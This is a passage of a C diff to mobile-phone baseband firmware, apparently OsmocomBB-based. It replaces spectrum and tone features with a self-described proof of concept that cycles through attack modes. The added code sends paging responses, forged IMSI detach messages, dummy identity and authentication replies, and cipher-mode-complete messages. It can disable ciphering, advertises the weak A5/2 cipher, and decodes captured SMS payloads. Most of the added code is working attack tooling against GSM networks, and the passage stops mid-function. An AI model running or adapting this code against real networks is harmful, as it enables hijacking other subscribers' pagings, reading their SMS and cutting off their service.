-		request_ul_levels(ul_arfcn);
-}
-
-static void toggle_spectrum(void)
-{
-	if (mode == MODE_MAIN) {
-		mode = MODE_SPECTRUM;
-		pm_mode = PM_IDLE;
-	} else if (mode == MODE_SPECTRUM) {
-		mode = MODE_MAIN;
-		pm_mode = PM_IDLE;
-	}
-	l1s_reset();
-	l1s_reset_hw();
-	pm_count = 0;
-	refresh_display();
-}
-
-static void tone_inc_dec(int inc)
-{
-	if (inc) {
-		if (tone + 25 <= 255)
-			tone += 25;
+/* yes this code is fugly, excuse me ;)
+   also it assumes that sms consist of two lapdm frames.
+   so a message longer will actually cause this code to burp.
+   it probably also makes other assumptions about the decoding, it's just a PoC
+*/
+static void decode_dspl_sms(uint8_t *msg, uint8_t msg_len){
+	/* dummy for now, we would have to reassemble frames to do this properly */
+	uint8_t *ptr = msg;
+	uint8_t len = 0;
+
+	memset(sms_state.text, 0, sizeof(sms_state.text));
+	printf("SMS PAYLOAD: %s\n", osmo_hexdump(msg, msg_len));
+
+	printf("\ndecode_dspl_sms with SKIP: %d\n\n", sms_state.skip);
+
+	if(sms_state.skip == -1){
+		ptr += 3 + 1 + 1;       /* lapdm header, proto discr, msg type, cp-user-data */
+		sms_state.cp_user_length = *ptr++; /* read cp-data length and skip length byte */
+		/* printf("\n\nsms cp user length %x\n\n", sms_state.cp_user_length); */
+		ptr += 1 + 1;           /* skip msg type rp-data, msg ref */
+		len = *ptr;             /* get orig address length */
+		/* printf("\n\nsms orig address length: %x\n", len); */
+		ptr += 1 + len;         /* len byte, actual len */
+		ptr += 1;               /* skip rp-dest address */
+
+		/* printf("\n\n sms rp user-data length %x\n\n", *ptr); */
+		ptr += 1;               /* skip user-data-length */
+		ptr += 1;               /* skip sms header type byte */
+		len = *ptr;             /* orig address length */
+		/* printf("sms orig addr length %x\n", len); */
+
+		sms_state.skip = (((len + 1)/2) + 1) - (msg_len - (ptr - msg) - 1);
+		/* printf("len: %d, msg_len: %d, skip: %d\n", len, msg_len, sms_state.skip); */
 	} else {
-		if (tone - 25 >= 0)
-			tone -= 25;
+		/* printf("skipping %d of %s\n", sms_state.skip, osmo_hexdump(msg, msg_len)); */
+		ptr += sms_state.skip + 3; /* skip remaining length + l2 header */
+		ptr += 1 + 1 + 7;       /* tp-pid, tp-dcs, service center timestamp */
+		len = *ptr;             /* tp-user-data length */
+		ptr += 1;               /* skip length */
+
+		gsm_7bit_decode(sms_state.text, ptr, len);
+		printf("\nDECODED SMS: %s\n", sms_state.text);
 	}
-
-	refresh_display();
 }
 
-static void hold_max(void)
+static void toggle_dcs_pcs(void)
 {
-	max = !max;
-	max_power = power;
+	pcs = !pcs;
 	refresh_display();
 }
 
@@ -744,28 +861,91 @@ static int inc_dec_neighbour(int inc)
 	return 0;
 }
 
-static int inc_dec_spectrum(int inc)
-{
-	if (inc) {
-		pm_scale <<= 1;
-		if (pm_scale > 8)
-			pm_scale = 8;
-	} else {
-		pm_scale >>= 1;
-		if (pm_scale < 1)
-			pm_scale = 1;
-	}
-
-	refresh_display();
-
-	return 0;
-}
+static int tx_chan_req(void);
 
 static void enter_sync(void);
 static void exit_sync(void);
 
 static void enter_rach(void);
 static void exit_rach(void);
+static int tx_meas_rep(uint8_t chan_nr, uint8_t tx_power, uint8_t timing_advance);
+uint8_t current_chan;
+
+static void handle_pm(void)
+{
+	/* start power measurement */
+	if (pm_mode == PM_IDLE && (mode == MODE_MAIN || mode == MODE_SPECTRUM)) {
+		struct msgb *msg = l1ctl_msgb_alloc(L1CTL_PM_REQ);
+		struct l1ctl_pm_req *pm;
+		uint16_t a, e;
+
+		pm = (struct l1ctl_pm_req *) msgb_put(msg, sizeof(*pm));
+		pm->type = 1;
+		if (mode == MODE_MAIN) {
+			a = arfcn;
+			if (pcs && arfcn >= PCS_MIN && arfcn <= PCS_MAX)
+				a |= ARFCN_PCS;
+			if (uplink)
+				a |= ARFCN_UPLINK;
+			e = a;
+			pm_mode = PM_SENT;
+		}
+		if (mode == MODE_SPECTRUM) {
+			if (pcs && arfcn >= PCS_MIN && arfcn <= PCS_MAX) {
+				a = PCS_MIN | ARFCN_PCS;
+				e = PCS_MAX | ARFCN_PCS;
+			} else {
+				a = band->min;
+				e = band->max;
+			}
+			pm_mode = PM_RANGE_SENT;
+		}
+		if (uplink) {
+			a |= ARFCN_UPLINK;
+			e |= ARFCN_UPLINK;
+		}
+		pm->range.band_arfcn_from = htons(a);
+		pm->range.band_arfcn_to = htons(e);
+
+		l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+
+		return;
+	}
+
+	if (pm_mode == PM_RESULT) {
+		pm_mode = PM_IDLE;
+		if (pm_count == pm_max) {
+			int i = 0;
+			int sum = 0;
+
+			if (uplink) {
+				/* find max */
+				for (i = 0; i < pm_count; i++) {
+					if (pm_meas[i] > sum)
+						sum = pm_meas[i];
+				}
+				power = sum;
+			} else {
+				for (i = 0; i < pm_count; i++)
+					sum += pm_meas[i];
+				power = sum / pm_count;
+			}
+			if (power > max_power)
+				max_power = power;
+			pm_count = 0;
+			pm_max = (uplink) ? NUM_PM_UL : NUM_PM_DL;
+			refresh_display();
+		}
+		return;
+	}
+
+	if (pm_mode == PM_RANGE_RESULT) {
+		pm_mode = PM_IDLE;
+		refresh_display();
+		return;
+	}
+}
+
 
 static void handle_key_code()
 {
@@ -785,10 +965,6 @@ static void handle_key_code()
 	if (key_code == KEY_INV)
 		return;
 
-	/* do later, do not disturb tone */
-	if (tone_on)
-		return;
-
 	switch (key_code) {
 	case KEY_0:
 	case KEY_1:
@@ -805,19 +981,15 @@ static void handle_key_code()
 		break;
 	case KEY_UP:
 		if (mode == MODE_MAIN)
-			tone_inc_dec(1);
+			break;
 		else if (mode == MODE_SYNC)
 			inc_dec_neighbour(0);
-		else if (mode == MODE_SPECTRUM)
-			inc_dec_spectrum(1);
 		break;
 	case KEY_DOWN:
 		if (mode == MODE_MAIN)
-			tone_inc_dec(0);
+			break;
 		else if (mode == MODE_SYNC)
 			inc_dec_neighbour(1);
-		else if (mode == MODE_SPECTRUM)
-			inc_dec_spectrum(0);
 		break;
 	case KEY_RIGHT:
 		if (mode == MODE_MAIN || mode == MODE_SPECTRUM)
@@ -832,6 +1004,7 @@ static void handle_key_code()
 			inc_dec_ul_arfcn(0);
 		break;
 	case KEY_LEFT_SB:
+		memset(sms_state.text, 0, sizeof(sms_state.text));
 		if (mode == MODE_MAIN || mode == MODE_SPECTRUM)
 			toggle_dcs_pcs();
 		else if (mode == MODE_ARFCN)
@@ -856,7 +1029,7 @@ static void handle_key_code()
 			enter_rach();
 		break;
 	case KEY_MENU:
-		hold_max();
+		reenter_sync();
 		break;
 	case KEY_POWER:
 		if (mode == MODE_ARFCN)
@@ -865,12 +1038,11 @@ static void handle_key_code()
 			exit_sync();
 		else if (mode == MODE_RACH)
 			exit_rach();
-		else if (mode == MODE_SPECTRUM)
-			toggle_spectrum();
 		break;
 	case KEY_STAR:
-		if (mode == MODE_MAIN || mode == MODE_SPECTRUM)
-			toggle_spectrum();
+		attack_mode = (attack_mode + 1) % 6;
+		refresh_display();
+		break;
 		break;
 	default:
 		break;
@@ -879,112 +1051,1025 @@ static void handle_key_code()
 	key_code = KEY_INV;
 }
 
-static void handle_tone(void)
-{
-	unsigned long elapsed = jiffies - tone_time;
+/*
+============================================================================
+END OF UI HANDLING
+============================================================================
+*/
 
-	if (!tone_on) {
-		if (!tone || mode != MODE_MAIN)
-			return;
-		/* wait depending on power level */
-		if (elapsed < (uint8_t)(63-power))
-			return;
-		buzzer_volume(tone);
-		buzzer_note(NOTE(NOTE_C, OCTAVE_5));
-		tone_time = jiffies;
-		tone_on = 1;
-		return;
-	}
 
-	if (elapsed >= TONE_JIFFIES) {
-		tone_on = 0;
-		tone_time = jiffies;
-		buzzer_volume(0);
+/* PAGING functions */
+
+static char *chan_need(int need)
+{
+	switch (need) {
+		case 0:
+			return "any";
+		case 1:
+			return "sdch";
+		case 2:
+			return "tch/f";
+		case 3:
+			return "tch/h";
+		default:
+			return "invalid";
 	}
 }
 
-/* PM handling */
 
-static void handle_pm(void)
+static const char *pag_print_mode(int m)
 {
-	/* start power measurement */
-	if (pm_mode == PM_IDLE && (mode == MODE_MAIN || mode == MODE_SPECTRUM)) {
-		struct msgb *msg = l1ctl_msgb_alloc(L1CTL_PM_REQ);
-		struct l1ctl_pm_req *pm;
-		uint16_t a, e;
+	switch (m) {
+		case 0: 
+			return "Normal paging";
+		case 1: 
+			return "Extended paging";
+		case 2: 
+			return "Paging reorganization";
+		case 3: 
+			return "Same as before";
+		default:
+			return "invalid";
+	}
+}
+static char *mi_type_to_string(int type)
+{
+	switch (type) {
+		case GSM_MI_TYPE_NONE:
+			return "none";
+		case GSM_MI_TYPE_IMSI:
+			return "IMSI";
+		case GSM_MI_TYPE_IMEI:
+			return "IMEI";
+		case GSM_MI_TYPE_IMEISV:
+			return "IMEISV";
+		case GSM_MI_TYPE_TMSI:
+			return "TMSI";
+		default:
+			return "invalid";
+	}
+}
 
-		pm = (struct l1ctl_pm_req *) msgb_put(msg, sizeof(*pm));
-		pm->type = 1;
-		if (mode == MODE_MAIN) {
-			a = arfcn;
-			if (pcs && arfcn >= PCS_MIN && arfcn <= PCS_MAX)
-				a |= ARFCN_PCS;
-			if (uplink)
-				a |= ARFCN_UPLINK;
-			e = a;
-			pm_mode = PM_SENT;
-		}
-		if (mode == MODE_SPECTRUM) {
-			if (pcs && arfcn >= PCS_MIN && arfcn <= PCS_MAX) {
-				a = PCS_MIN | ARFCN_PCS;
-				e = PCS_MAX | ARFCN_PCS;
-			} else {
-				a = band->min;
-				e = band->max;
-			}
-			pm_mode = PM_RANGE_SENT;
-		}
-		if (uplink) {
-			a |= ARFCN_UPLINK;
-			e |= ARFCN_UPLINK;
-		}
-		pm->range.band_arfcn_from = htons(a);
-		pm->range.band_arfcn_to = htons(e);
+struct msgb *gsm48_l3_msgb_alloc(void)
+{
+	struct msgb *msg;
 
-		l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+	msg = msgb_alloc_headroom(L3_ALLOC_SIZE+L3_ALLOC_HEADROOM,
+			L3_ALLOC_HEADROOM, "GSM 04.08 L3");
+	if (!msg)
+		return NULL;
+	msg->l3h = msg->data;
+
+	return msg;
+}
+
+
+int l1ctl_tx_crypto_req(uint8_t algo, uint8_t *key, uint8_t len){
+	struct msgb *msg;
+	struct l1ctl_info_ul *ul;
+	struct l1ctl_crypto_req *req;
+
+	msg = l1ctl_msgb_alloc(L1CTL_CRYPTO_REQ);
+	if (!msg)
+		return -1;
+
+	printf("CRYPTO Req. algo=%d, len=%d\n", algo, len);
+	ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*ul));
+	req = (struct l1ctl_crypto_req *) msgb_put(msg, sizeof(*req) + len);
+	req->algo = algo;
+	if (len)
+		memcpy(req->key, key, len);
+
+	l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+
+	return 0;
+}
+
+static void disable_ciphering(void){
+	l1ctl_tx_crypto_req(0, NULL, 0);
+}
+
+static void enable_ciphering(void){
+	l1ctl_tx_crypto_req(GSM_CIPHER_A5_1, kc, sizeof(kc)-1);
+}
+
+int l1ctl_tx_dm_est_req_h1(uint8_t maio, uint8_t hsn, uint16_t *ma, uint8_t ma_len, uint8_t chan_nr, uint8_t tsc, uint8_t tch_mode) {
+	struct msgb *msg;
+	struct l1ctl_info_ul *ul;
+	struct l1ctl_dm_est_req *req;
+	int i;
+
+	msg = l1ctl_msgb_alloc(L1CTL_DM_EST_REQ);
+	if (!msg)
+		return -1;
+
+	printf("\nh1: Tx Dedic.Mode Est Req (maio=%u, hsn=%u, chan_nr=0x%02x)\n", maio, hsn, chan_nr);
+
+	ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*ul));
+	ul->chan_nr = chan_nr;
+	ul->link_id = 0;
+
+	req = (struct l1ctl_dm_est_req *) msgb_put(msg, sizeof(*req));
+	req->tsc = tsc;
+	req->h = 1;
+	req->h1.maio = maio;
+	req->h1.hsn = hsn;
+	req->h1.n = ma_len;
+
+	for (i = 0; i < ma_len; i++)
+		req->h1.ma[i] = htons(ma[i]);
+
+	req->tch_mode = tch_mode;
+	//req->audio_mode = audio_mode;
+	req->audio_mode = AUDIO_TX_MICROPHONE | AUDIO_RX_SPEAKER;
+
+	l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+	return 0;
+}
+
+
+int l1ctl_tx_dm_est_req_h0(uint16_t band_arfcn, uint8_t chan_nr, uint8_t tsc, uint8_t tch_mode){
+	struct msgb *msg;
+	struct l1ctl_info_ul *ul;
+	struct l1ctl_dm_est_req *req;
+
+	msg = l1ctl_msgb_alloc(L1CTL_DM_EST_REQ);
+	if (!msg)
+		return -1;
+
+	printf("\nh0: Tx Dedic.Mode Est Req (arfcn=%u, chan_nr=0x%02x)\n", band_arfcn, chan_nr);
+
+	ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*ul));
+	ul->chan_nr = chan_nr;
+	ul->link_id = 0;
+
+	req = (struct l1ctl_dm_est_req *) msgb_put(msg, sizeof(*req));
+	req->tsc = tsc;
+	req->h = 0;
+	req->h0.band_arfcn = htons(band_arfcn);
+	req->tch_mode = tch_mode;
+	//req->audio_mode = audio_mode;
+	req->audio_mode = AUDIO_TX_MICROPHONE | AUDIO_RX_SPEAKER;
+
+	l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+	return 0;
+}
+
+static int tx_ccch_mode(uint8_t ccch_mode){
+	struct msgb *msg = l1ctl_msgb_alloc(L1CTL_CCCH_MODE_REQ);
+	struct l1ctl_ccch_mode_req *req;
+
+	if(!msg) return -1;
+	req = (struct l1ctl_ccch_mode_req *) msgb_put(msg, sizeof(*req));
+	req->ccch_mode = ccch_mode;
+
+	l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+	return 0;
+}
+
+static int tx_chan_req(void){
+	struct msgb *msg;
+	struct l1ctl_info_ul *ul;
+	struct l1ctl_rach_req *rach_req;
+	uint8_t ran = 0x1f;
 
+	msg = l1ctl_msgb_alloc(L1CTL_RACH_REQ);
+	if(!msg) return -1;
+
+	ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*ul));
+	rach_req = (struct l1ctl_rach_req *) msgb_put(msg, sizeof(*rach_req));
+	
+	rach_req->ra = 0x80 | ran;
+	rach_req->offset = 0;
+	rach_req->combined = (ccch_conf == 1);
+
+	l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+	return 0;
+}
+
+static int tx_param_req(uint8_t timing_adv, uint8_t tx_power){
+	struct msgb *msg;
+	struct l1ctl_info_ul *ul;
+	struct l1ctl_par_req *par_req;
+
+	msg = l1ctl_msgb_alloc(L1CTL_PARAM_REQ);
+	if(!msg) return -1;
+
+	ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*ul));
+	par_req = (struct l1ctl_par_req *) msgb_put(msg, sizeof(*par_req));
+	par_req->tx_power = tx_power;
+	par_req->ta = timing_adv;
+
+	l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+	return 0;
+}
+
+static void lapdm_pad_msgb(struct msgb *msg, uint8_t n201)
+{
+	int pad_len = n201 - msgb_l2len(msg);
+	uint8_t *data;
+
+	if (pad_len < 0) {
+		printf("cannot pad message that is already too big!\n");
 		return;
 	}
 
-	if (pm_mode == PM_RESULT) {
-		pm_mode = PM_IDLE;
-		if (pm_count == pm_max) {
-			int i = 0;
-			int sum = 0;
+	data = msgb_put(msg, pad_len);
+	memset(data, 0x2B, pad_len);
+}
 
-			if (uplink) {
-				/* find max */
-				for (i = 0; i < pm_count; i++) {
-					if (pm_meas[i] > sum)
-						sum = pm_meas[i];
-				}
-				power = sum;
-			} else {
-				for (i = 0; i < pm_count; i++)
-					sum += pm_meas[i];
-				power = sum / pm_count;
-			}
-			if (power > max_power)
-				max_power = power;
-			pm_count = 0;
-			pm_max = (uplink) ? NUM_PM_UL : NUM_PM_DL;
-			if (!tone_on)
-				refresh_display();
+static int gsm48_encode_classmark1(struct gsm48_classmark1 *cm){
+	memset(cm, 0, sizeof(*cm));
+
+	cm->rev_lev = 1;
+	cm->es_ind = 0;
+	cm->a5_1 = 0;
+	cm->pwr_lev = 0;
+
+	return 0;
+}
+static int gsm48_encode_classmark2(struct gsm48_classmark2 *cm){
+	memset(cm, 0, sizeof(*cm));
+
+	cm->pwr_lev = power;
+	cm->spare = 0;
+	cm->es_ind = 0;
+	cm->a5_1 = 0;
+	cm->rev_lev = 1;
+
+	cm->fc = 1;
+	cm->vgcs = 0;
+	cm->vbs = 0;
+	cm->sm_cap = 1;
+	cm->ss_scr = 1;
+	cm->ps_cap = 0;
+
+	cm->a5_2 = 1;
+	cm->a5_3 = 0;
+	cm->cmsp = 0;
+	cm->solsa = 0;
+	cm->lcsva_cap = 0;
+
+	return 0;
+}
+
+static int l1ctl_tx_data_req(struct msgb *msg){
+	/*
+	if (msgb_l2len(msg) > 23) {
+		printf("L1 cannot handle message length > 23 (%u)\n", msgb_l2len(msg));
+		msgb_free(msg);
+		return -EINVAL;
+	} else if (msgb_l2len(msg) < 23) {
+		printf("L1 message length < 23 (%u) doesn't seem right!\n", msgb_l2len(msg));
+	}
+	*/
+
+	//printf("(%s)\n", osmo_hexdump(msg->l2h, msgb_l2len(msg)));
+	l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+	return 0;
+}
+
+static int tx_lapdm_rr(uint8_t chan_nr, uint8_t nr){
+	struct msgb *msg;
+	struct l1ctl_info_ul *l1i_ul;
+
+	msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
+	if(!msg) return -1;
+
+	printf("\n-> func=RR, N(R)=%d\n", nr);
+	//printf("\(%s)\n", osmo_hexdump(msg->data, msg->len));
+	/* prepend uplink info header */
+	l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
+
+	l1i_ul->chan_nr = chan_nr;
+	l1i_ul->link_id = 0;
+
+	msg->l2h = msgb_put(msg, 3);
+
+	msg->l2h[0] = LAPDm_ADDR(LAPDm_LPD_NORMAL, lapd_state.sapi, CR_MS2BS_RESP);
+	msg->l2h[1] = LAPDm_CTRL_S(nr, LAPDm_S_RR, 0);
+	/* TODO compute actual length */
+	msg->l2h[2] = 0x1;
+
+	lapdm_pad_msgb(msg, 23);
+
+	l1ctl_tx_data_req(msg);
+	return 0;
+}
+
+static int tx_lapdm_ua(uint8_t chan_nr){
+	struct msgb *msg;
+	struct l1ctl_info_ul *l1i_ul;
+
+	msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
+	if(!msg) return -1;
+
+	printf("\n-> U func=UA\n");
+
+	/* prepend uplink info header */
+	l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
+
+	l1i_ul->chan_nr = chan_nr;
+	l1i_ul->link_id = 0;
+
+	msg->l2h = msgb_put(msg, 3);
+
+	msg->l2h[0] = LAPDm_ADDR(LAPDm_LPD_NORMAL, lapd_state.sapi, CR_MS2BS_RESP);
+	msg->l2h[1] = LAPDm_CTRL_U(LAPDm_U_UA, 1);
+
+	/* TODO compute actual length */
+	msg->l2h[2] = 0x1;
+
+	lapdm_pad_msgb(msg, 23);
+
+	l1ctl_tx_data_req(msg);
+	return 0;
+}
+
+static int tx_imsi_detach(uint8_t chan_nr, uint8_t *midata, uint8_t milen){
+	struct msgb *msg;
+	struct gsm48_hdr *ngh;
+	struct l1ctl_info_ul *l1i_ul;
+	struct gsm48_classmark1 cm;
+	uint8_t *mi;
+	
+	msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
+	if(!msg) return -1;
+
+	/* prepend uplink info header */
+	l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
+	l1i_ul->chan_nr = chan_nr;
+	l1i_ul->link_id = 0;
+
+	msg->l2h = msgb_put(msg, 3);
+
+	ngh = (struct gsm48_hdr *)msgb_put(msg, sizeof(*ngh));
+	ngh->proto_discr = GSM48_PDISC_MM;
+	ngh->msg_type = GSM48_MT_MM_IMSI_DETACH_IND;
+
+	gsm48_encode_classmark1(&cm);
+
+	msg->l2h[0] = 0x01; //LAPDm_ADDR(LAPDm_LPD_NORMAL, 0, CR_MS2BS_RESP);
+	msg->l2h[1]= LAPDm_CTRL_U(LAPDm_U_SABM, 1);
+	/* 2 (RR + seq + type ) + 1 (classmark1) + mobile identity len */
+	msg->l2h[2] = LAPDm_LEN(3 + milen);
+
+	msgb_v_put(msg, *((uint8_t *)&cm));
+
+	mi = msgb_put(msg, milen);
+	memcpy(mi, midata, milen);
+
+	lapdm_pad_msgb(msg, 23);
+	l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+
+	return 0;
+}
+
+static int gsm48_encode_mi(uint8_t *buf, struct msgb *msg, uint8_t mi_type) {
+	uint8_t *ie;
+	uint8_t mi_len = 0;
+
+	/* the length and values are completely bogus... just placeholders for now */
+	switch(mi_type) {
+		case GSM_MI_TYPE_TMSI:
+			gsm48_generate_mid_from_tmsi(buf, "\x01\x02\x03\x04");
+			mi_len = 4;
+			break;
+		case GSM_MI_TYPE_IMSI:
+			gsm48_generate_mid_from_imsi(buf, "123456789012345");
+			mi_len = 8;
+			break;
+		case GSM_MI_TYPE_IMEI:
+			gsm48_generate_mid_from_imsi(buf, "123456789012345");
+			mi_len = 8;
+			break;
+		case GSM_MI_TYPE_IMEISV:
+			gsm48_generate_mid_from_imsi(buf, "123456789012345");
+			mi_len = 8;
+			break;
+		case GSM_MI_TYPE_NONE:
+		default:
+			buf[0] = GSM48_IE_MOBILE_ID;
+			buf[1] = 1;
+			buf[2] = 0xf0;
+			break;
+	}
+	/* alter MI type */
+	buf[2] = (buf[2] & ~GSM_MI_TYPE_MASK) | mi_type;
+
+	if (msg) {
+		/* MI as LV */
+		ie = msgb_put(msg, 1 + buf[1]);
+		memcpy(ie, buf + 1, 1 + buf[1]);
+	}
+
+	return mi_len;
+}
+
+
+/* this is a dummy and just sends back a nonsense identity */
+static int tx_identity_response(uint8_t chan_nr, uint8_t n_recv, uint8_t n_send, uint8_t mi_type){
+	struct msgb *msg;
+	struct gsm48_hdr *ngh;
+	struct l1ctl_info_ul *l1i_ul;
+
+	uint8_t *identity;
+	uint8_t mi_len;
+	uint8_t buf[11];
+	
+	msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
+	if(!msg) return -1;
+
+	/* prepend uplink info header */
+	l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
+	l1i_ul->chan_nr = chan_nr;
+	l1i_ul->link_id = 0;
+
+	msg->l2h = msgb_put(msg, 3);
+
+	ngh = (struct gsm48_hdr *)msgb_put(msg, sizeof(*ngh));
+	ngh->proto_discr = GSM48_PDISC_MM;
+	ngh->msg_type = GSM48_MT_MM_ID_RESP;
+
+	msg->l2h[0] = 0x1; // RR/MM/CC final octet set
+	msg->l2h[1]= LAPDm_CTRL_I(n_recv, n_send, 0);
+
+	mi_len = gsm48_encode_mi(buf, msg, mi_type);
+	msg->l2h[2] = LAPDm_LEN(3 + mi_len);
+
+	printf("\n-> ID RESP\n\n");
+
+	lapdm_pad_msgb(msg, 23);
+	l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+	return 0;
+}
+
+static int tx_authentication_response(uint8_t chan_nr, uint8_t n_recv, uint8_t n_send){
+	struct msgb *msg;
+	struct gsm48_hdr *ngh;
+	struct l1ctl_info_ul *l1i_ul;
+	uint8_t *sres;
+	
+	msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
+	if(!msg) return -1;
+
+	/* prepend uplink info header */
+	l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
+	l1i_ul->chan_nr = chan_nr;
+	l1i_ul->link_id = 0;
+
+	msg->l2h = msgb_put(msg, 3);
+
+	ngh = (struct gsm48_hdr *)msgb_put(msg, sizeof(*ngh));
+	ngh->proto_discr = GSM48_PDISC_MM;
+	ngh->msg_type = GSM48_MT_MM_AUTH_RESP;
+
+	msg->l2h[0] = 0x1; // RR/MM/CC final octet set
+	msg->l2h[1]= LAPDm_CTRL_I(n_recv, n_send, 0);
+	msg->l2h[2] = LAPDm_LEN(6); /* 4 auth resp + 2 msg type + protocol discriminator */
+
+	sres = msgb_put(msg, 4);
+	memcpy(sres, "\xde\xad\xbe\xef", 4);
+
+	printf("\n-> AUTH RESP\n\n");
+
+	lapdm_pad_msgb(msg, 23);
+	l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+	return 0;
+}
+
+static int tx_cipher_mode_complete(uint8_t chan_nr, uint8_t n_recv, uint8_t n_send){
+	struct msgb *msg;
+	struct gsm48_hdr *ngh;
+	struct l1ctl_info_ul *l1i_ul;
+	
+	printf("\n->CIPHER MODE COMPLETE\n");
+	msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
+	if(!msg) return -1;
+
+	/* prepend uplink info header */
+	l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
+	l1i_ul->chan_nr = chan_nr;
+	l1i_ul->link_id = 0;
+
+	msg->l2h = msgb_put(msg, 3);
+
+	ngh = (struct gsm48_hdr *)msgb_put(msg, sizeof(*ngh));
+	ngh->proto_discr = GSM48_PDISC_RR;
+	ngh->msg_type = GSM48_MT_RR_CIPH_M_COMPL;
+
+	msg->l2h[0] = 0x1; // RR/MM/CC final octet set
+	msg->l2h[1]= LAPDm_CTRL_I(n_recv, n_send, 0);
+	msg->l2h[2] = LAPDm_LEN(2);
+
+	lapdm_pad_msgb(msg, 23);
+	l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+	return 0;
+}
+
+static int tx_sms_rp_ack(uint8_t chan_nr){
+	struct msgb *msg;
+	struct l1ctl_info_ul *l1i_ul;
+	struct gsm48_classmark1 cm;
+	uint8_t *mi;
+	
+	msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
+	if(!msg) return -1;
+
+	/* prepend uplink info header */
+	l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
+	l1i_ul->chan_nr = chan_nr;
+	l1i_ul->link_id = 0;
+
+	msg->l2h = msgb_put(msg, 3);
+
+	gsm48_encode_classmark1(&cm);
+
+	msg->l2h[0] = 0x0d;
+	msg->l2h[1]= 0x42;
+	msg->l2h[2] = 0x15;
+
+	mi = msgb_put(msg, 4);
+	/* TODO: don't hardcode that */
+	memcpy(mi, "\x89\x01\x02\x2a", 4);
+
+	lapdm_pad_msgb(msg, 23);
+	l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+
+	return 0;
+}
+
+static int tx_sms_cp_data_rp_ack(uint8_t chan_nr, uint8_t n_recv, uint8_t n_send){
+	struct msgb *msg;
+	struct l1ctl_info_ul *l1i_ul;
+	struct gsm48_classmark1 cm;
+	uint8_t *mi;
+	
+	printf("\n-> N(R)=%d, N(S)=%d, CP-DATA RP-ACK\n", n_recv, n_send);
+	msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
+	if(!msg) return -1;
+
+	/* prepend uplink info header */
+	l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
+	l1i_ul->chan_nr = chan_nr;
+	l1i_ul->link_id = 0;
+
+	msg->l2h = msgb_put(msg, 3);
+
+	gsm48_encode_classmark1(&cm);
+
+	msg->l2h[0] = 0x0d;
+	msg->l2h[1]= LAPDm_CTRL_I(n_recv, n_send, 1);
+	msg->l2h[2] = 0x15;
+
+	mi = msgb_put(msg, 5);
+	/* TODO: don't hardcode that */
+	memcpy(mi, "\x89\x01\x02\x02\x2a", 5);
+
+	lapdm_pad_msgb(msg, 23);
+	//printf("\(%s)\n", osmo_hexdump(msg->data, msg->len));
+	l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+
+	return 0;
+}
+static int tx_sms_cp_ack(uint8_t chan_nr, uint8_t recv, uint8_t send){
+	struct msgb *msg;
+	struct l1ctl_info_ul *l1i_ul;
+	struct gsm48_classmark1 cm;
+	uint8_t *mi;
+	
+	printf("\n-> N(R)=%d, N(S)=%d, CP-ACK\n", recv, send);
+
+	msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
+	if(!msg) return -1;
+
+	/* prepend uplink info header */
+	l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
+	l1i_ul->chan_nr = chan_nr;
+	l1i_ul->link_id = 0;
+
+	msg->l2h = msgb_put(msg, 3);
+
+	gsm48_encode_classmark1(&cm);
+
+	msg->l2h[0] = 0x0d;
+	msg->l2h[1]= LAPDm_CTRL_I(recv, send, 0);
+	msg->l2h[2] = 0x09;
+
+	mi = msgb_put(msg, 2);
+	/* TODO: don't hardcode that */
+	memcpy(mi, "\x89\x04", 2);
+
+	lapdm_pad_msgb(msg, 23);
+	l1a_l23_rx(SC_DLCI_L1A_L23, msg);
+
+	return 0;
+}
+
+static int tx_paging_response(uint8_t chan_nr, uint8_t *midata, uint8_t milen){
+	struct msgb *msg;
+	struct gsm48_hdr *gh;
+	struct gsm48_pag_rsp *pr;
+	struct l1ctl_info_ul *l1i_ul;
+
+	msg = l1ctl_msgb_alloc(L1CTL_DATA_REQ);
+	if(!msg) return -1;
+
+	/* prepend uplink info header */
+	l1i_ul = (struct l1ctl_info_ul *) msgb_put(msg, sizeof(*l1i_ul));
+
+	l1i_ul->chan_nr = chan_nr;
+	l1i_ul->link_id = 0;
+
+	msg->l2h = msgb_put(msg, 3);
+	gh = (struct gsm48_hdr *) msgb_put(msg, sizeof(*gh));
+	pr = (struct gsm48_pag_rsp *) msgb_put(msg, sizeof(*pr) + milen);
+
+	gh->proto_discr = GSM48_PDISC_RR;
